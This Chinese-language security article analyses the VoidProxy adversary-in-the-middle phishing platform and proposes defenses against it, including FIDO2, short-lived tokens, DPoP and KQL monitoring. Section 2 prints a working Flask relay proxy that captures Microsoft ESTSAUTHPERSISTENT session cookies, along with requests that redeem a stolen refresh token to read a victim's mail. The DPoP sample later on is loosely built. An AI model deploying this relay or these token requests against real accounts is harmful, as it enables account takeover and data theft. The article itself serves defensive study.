一、引言
近年来,随着多因素认证(Multi-Factor Authentication, MFA)在企业身份基础设施中的广泛部署,传统基于密码窃取的账户接管攻击已显著受限。然而,攻击者迅速转向更高级的对抗技术,其中以“Adversary-in-the-Middle”(AiTM)为核心的实时会话中继钓鱼平台成为主要威胁载体。2025年,安全研究机构与Okta威胁情报团队联合披露名为“VoidProxy”的新型钓鱼即服务(Phishing-as-a-Service, PhaaS)平台,其自2024年起在暗网活跃推广,并持续针对Google Workspace与Microsoft Entra ID(原Azure AD)用户实施精准攻击。

VoidProxy的核心能力在于动态克隆目标登录页面,透明中继用户与真实身份提供者(Identity Provider, IdP)之间的完整认证交互,包括基于时间的一次性密码(TOTP)、短信验证码及推送通知类MFA。在此过程中,攻击者不仅捕获用户名与密码,更重要的是截获认证成功后返回的会话Cookie、OAuth 2.0访问令牌及刷新令牌(Refresh Token),从而实现无需凭证重放的持久化账户访问。由于整个流程发生在合法TLS通道内,且用户确实完成了MFA挑战,传统基于异常登录行为或IP跳跃的检测机制往往失效。
此类攻击的后果远超个体账户失陷。一旦攻击者控制企业高管或IT管理员的邮箱、云文档或身份管理后台,即可利用B2B协作信任链发起供应链攻击——例如伪造合作方邮件、篡改共享合同、或通过合法API导出敏感数据。更严重的是,若攻击者获取IdP管理员权限,可直接修改条件访问策略或注册恶意应用,造成全租户级风险。
本文系统分析VoidProxy的技术架构、攻击流程与规避机制,评估当前MFA部署模型的固有缺陷,并提出一套融合硬件绑定、会话生命周期管理与浏览器级安全增强的纵深防御框架。全文结构如下:第二部分详述VoidProxy的运作原理;第三部分剖析现有MFA方案的脆弱性;第四部分提出多层次防御策略并辅以可执行代码示例;第五部分总结研究发现并展望未来身份安全演进方向。

二、VoidProxy攻击机制解析
(一)动态页面克隆与透明代理
VoidProxy采用反向代理架构,在攻击者控制的服务器上部署轻量级Web代理(通常基于Node.js或Python Flask)。当受害者点击钓鱼链接(如login.microsoft-support[.]com)时,代理实时向目标IdP(如login.microsoftonline.com)发起HTTP请求,获取原始登录页面HTML,并注入恶意JavaScript用于捕获表单提交与MFA响应。
关键创新在于其“无感中继”能力:所有用户输入(包括MFA验证码)均被同步转发至真实IdP,而IdP返回的响应(含Set-Cookie头、Location重定向、OAuth授权码)亦被代理捕获并传递给受害者浏览器。整个过程对用户完全透明,浏览器地址栏甚至可显示合法SSL证书(通过ACME协议自动申请Let’s Encrypt证书)。
典型代理逻辑如下(简化版):
from flask import Flask, request, Response
import requests
app = Flask(__name__)
TARGET_IDP = "https://login.microsoftonline.com"
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
url = f"{TARGET_IDP}/{path}"
resp = requests.request(
method=request.method,
url=url,
headers={key: value for (key, value) in request.headers if key != 'Host'},
data=request.get_data(),
cookies=request.cookies,
allow_redirects=False
)
# 捕获认证成功后的Set-Cookie与令牌
if "login.microsoftonline.com" in request.url and resp.status_code == 302:
auth_cookie = resp.headers.get('Set-Cookie')
if auth_cookie and 'ESTSAUTHPERSISTENT' in auth_cookie:
log_session(request.remote_addr, auth_cookie) # 记录会话
excluded_headers = ['content-encoding', 'content-length', 'transfer-encoding', 'connection']
headers = [(name, value) for (name, value) in resp.raw.headers.items() if name.lower() not in excluded_headers]
return Response(resp.content, resp.status_code, headers)
该脚本实现了基本的请求/响应中继,并在检测到Microsoft的持久化认证Cookie(ESTSAUTHPERSISTENT)时触发日志记录,供攻击者后续使用。

(二)会话令牌捕获与持久化利用
与传统钓鱼仅窃取密码不同,VoidProxy的核心目标是获取有效的会话标识符。对于Microsoft Entra ID,关键令牌包括:
Session Cookie:如ESTSAUTHPERSISTENT,有效期可达90天;
Refresh Token:用于在后台静默获取新的访问令牌,即使用户登出仍有效;
Access Token:短期有效(通常1小时),但可用于调用Microsoft Graph API。
攻击者利用这些令牌可直接通过API访问用户邮箱、OneDrive文件、Teams聊天记录等,完全绕过前端UI与MFA提示。例如,使用被盗Refresh Token获取新Access Token的请求如下:
POST /common/oauth2/v2.0/token HTTP/1.1
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
client_id=00000003-0000-0000-c000-000000000000
&refresh_token=<STOLEN_REFRESH_TOKEN>
&grant_type=refresh_token
&scope=https://graph.microsoft.com/.default
返回的Access Token可立即用于读取邮件:
GET /v1.0/me/messages HTTP/1.1
Host: graph.microsoft.com
Authorization: Bearer <ACCESS_TOKEN>
由于所有请求均来自合法客户端(如官方Outlook App的User-Agent),且IP可伪装为用户常用地理位置,SIEM系统难以识别异常。
(三)地理与用户代理(UA)伪装
为规避基于设备指纹与地理位置的条件访问策略,VoidProxy支持动态设置代理出口IP(通过住宅代理网络如Bright Data或IPRoyal),并模仿目标用户的典型UA字符串。例如,若受害者通常使用Windows 11 + Chrome 124访问Office 365,攻击者将配置代理以相同特征发起API请求,使登录活动在审计日志中呈现为“正常行为”。
此外,平台提供批量会话管理界面,允许攻击者按租户、用户角色、令牌有效期筛选高价值会话,并一键导出用于自动化数据窃取脚本。

三、现有MFA机制的结构性缺陷
尽管MFA显著提升了账户安全性,但其设计初衷是防止凭证复用,而非抵御实时会话劫持。VoidProxy的成功暴露了以下根本性问题:
MFA验证与会话绑定脱节:MFA仅在认证时刻验证用户身份,但生成的会话令牌本身不绑定设备、IP或浏览器上下文。一旦令牌泄露,任何持有者均可冒充合法用户。
刷新令牌生命周期过长:默认情况下,Microsoft Entra ID的刷新令牌有效期可达90天,且在用户未主动登出前持续有效。这为攻击者提供了长期潜伏窗口。
缺乏通道绑定(Channel Binding):现代浏览器支持Token Binding或DPoP(Demonstrating Proof of Possession)等机制,可将令牌与TLS连接绑定,防止令牌在其他会话中重放。但多数SaaS应用尚未强制启用。
条件访问策略依赖静态规则:基于“合规设备”或“可信IP”的策略易被代理IP和虚拟机绕过,缺乏对会话行为的动态风险评估。
上述缺陷使得即便组织部署了“强MFA”,在面对AiTM攻击时仍形同虚设。
四、纵深防御体系构建
为有效抵御VoidProxy类攻击,需从身份验证、会话管理与终端安全三个层面重构防御策略。
(一)强制FIDO2 + 源绑定认证
FIDO2安全密钥(如YubiKey)基于公钥加密,私钥永不离开硬件设备,且认证响应绑定至特定RP(Relying Party)ID与客户端上下文。即使攻击者中继认证请求,也无法在其他域名下重放响应。
更重要的是,应启用源绑定(Origin Binding):确保认证仅在合法域名(如https://login.microsoftonline.com)下触发,阻止钓鱼站点调用本地安全密钥。Microsoft Entra ID已支持此功能,可通过条件访问策略强制:
# Azure AD PowerShell: 要求FIDO2且禁止非托管设备
New-AzureADMSConditionalAccessPolicy -DisplayName "Block VoidProxy-style Attacks" `
-State "enabled" `
-Conditions @{
Users = @{ IncludeGroups = @("HighRiskUsers") }
Applications = @{ IncludeApplications = "All" }
ClientAppTypes = @("browser")
} `
-GrantControls @{
Operator = "AND"
BuiltInControls = @("fido2", "compliantDevice")
CustomAuthenticationFactors = @()
} `
-SessionControls @{
SignInFrequency = @{ Value = 4; Type = "hours" } # 强制每4小时重新认证
}
(二)短周期令牌与异常会话撤销
缩短刷新令牌有效期,并启用基于风险的自动撤销机制。Microsoft Graph提供/revokeSignInSessions API,可编程终止可疑会话:
import requests
def revoke_suspicious_sessions(user_id, access_token):
url = f"https://graph.microsoft.com/v1.0/users/{user_id}/revokeSignInSessions"
headers = {"Authorization": f"Bearer {access_token}"}
response = requests.post(url, headers=headers)
if response.status_code == 200:
print(f"All sign-in sessions revoked for {user_id}")
else:
print("Failed to revoke sessions:", response.text)
结合Microsoft Defender for Identity的异常登录告警(如非常规时间、新国家访问),可实现分钟级响应。
(三)浏览器内令牌绑定(DPoP)
推动SaaS供应商支持OAuth 2.0 DPoP规范。DPoP要求客户端在每次API请求中附带一个由私钥签名的证明令牌,该私钥与TLS连接绑定。即使攻击者窃取Access Token,也无法在其他连接中使用。
前端实现示例(使用Web Crypto API):
// 生成DPoP Proof(简化)
async function generateDPoPProof(accessToken, method, url) {
const keyPair = await window.crypto.subtle.generateKey(
{ name: "ECDSA", namedCurve: "P-256" },
true,
["sign"]
);
const proof = {
htm: method,
htu: new URL(url).origin + new URL(url).pathname,
iat: Math.floor(Date.now() / 1000),
jti: crypto.randomUUID()
};
const encoder = new TextEncoder();
const data = encoder.encode(JSON.stringify(proof));
const signature = await window.crypto.subtle.sign("ECDSA", keyPair.privateKey, data);
return btoa(String.fromCharCode(...new Uint8Array(signature)));
}
虽需后端配合验证,但该机制可从根本上阻断令牌重放。
(四)高价值账户会话风险评分
对C级高管、IT管理员等高价值账户,实施会话级风险评分。指标包括:
登录IP是否在历史地理围栏外;
User-Agent是否与设备注册信息一致;
是否在短时间内访问大量敏感资源(如/me/drive/root:/Board/)。
通过KQL查询实现监控:
// KQL: 检测高价值用户异常会话
SigninLogs
| where UserPrincipalName in~ ("ceo@company.com", "admin@company.com")
| extend RiskLevel = case(
IPAddress !in (dynamic(["203.0.113.0/24", "198.51.100.0/24"])), "High",
DeviceDetail.deviceId == "", "Medium",
true, "Low"
)
| where RiskLevel == "High"
| project TimeGenerated, UserPrincipalName, IPAddress, AppDisplayName, RiskLevel
触发高风险评分时,自动触发MFA挑战或会话终止。
五、讨论与未来方向
VoidProxy的出现标志着PhaaS已从静态模板分发进化为动态、托管式会话劫持服务。其商业模式降低了高级钓鱼攻击的技术门槛,使中小APT组织也能实施原本仅限国家级行为体的AiTM攻击。
防御方必须认识到:MFA不是终点,而是身份安全链条的一环。未来防御体系应向“持续验证”演进,核心包括:
零信任身份架构:默认不信任任何会话,持续评估设备健康、行为基线与上下文风险;
硬件级信任根:推广FIDO2与TPM集成,确保私钥不出设备;
标准协议强化:加速DPoP、Token Binding在主流IdP与SaaS中的落地;
自动化响应闭环:将威胁情报、UEBA与API控制联动,实现“检测-响应-修复”一体化。
同时,监管层面亦需跟进。例如,欧盟NIS2指令已要求关键实体实施“强客户认证”(SCA),未来或明确禁止长期有效的非绑定刷新令牌。
六、结语
VoidProxy平台揭示了当前MFA部署模型在面对实时会话劫持时的根本性不足。攻击者不再试图破解MFA,而是将其作为获取合法会话的“跳板”。本文通过剖析其技术实现,指出单纯依赖第二因子无法解决会话令牌泄露问题,并提出以FIDO2绑定、短周期令牌、DPoP与风险驱动响应为核心的防御框架。
身份安全的本质并非“一次认证,长期信任”,而是“持续验证,动态授权”。对于承载核心业务与战略资产的企业而言,必须将防御重心从凭证保护转向会话完整性保障。唯有如此,方能在日益智能化的网络对抗中守住数字身份的最后一道防线。
编辑:芦笛(公共互联网反网络钓鱼工作组)
775

被折叠的 条评论
为什么被折叠?



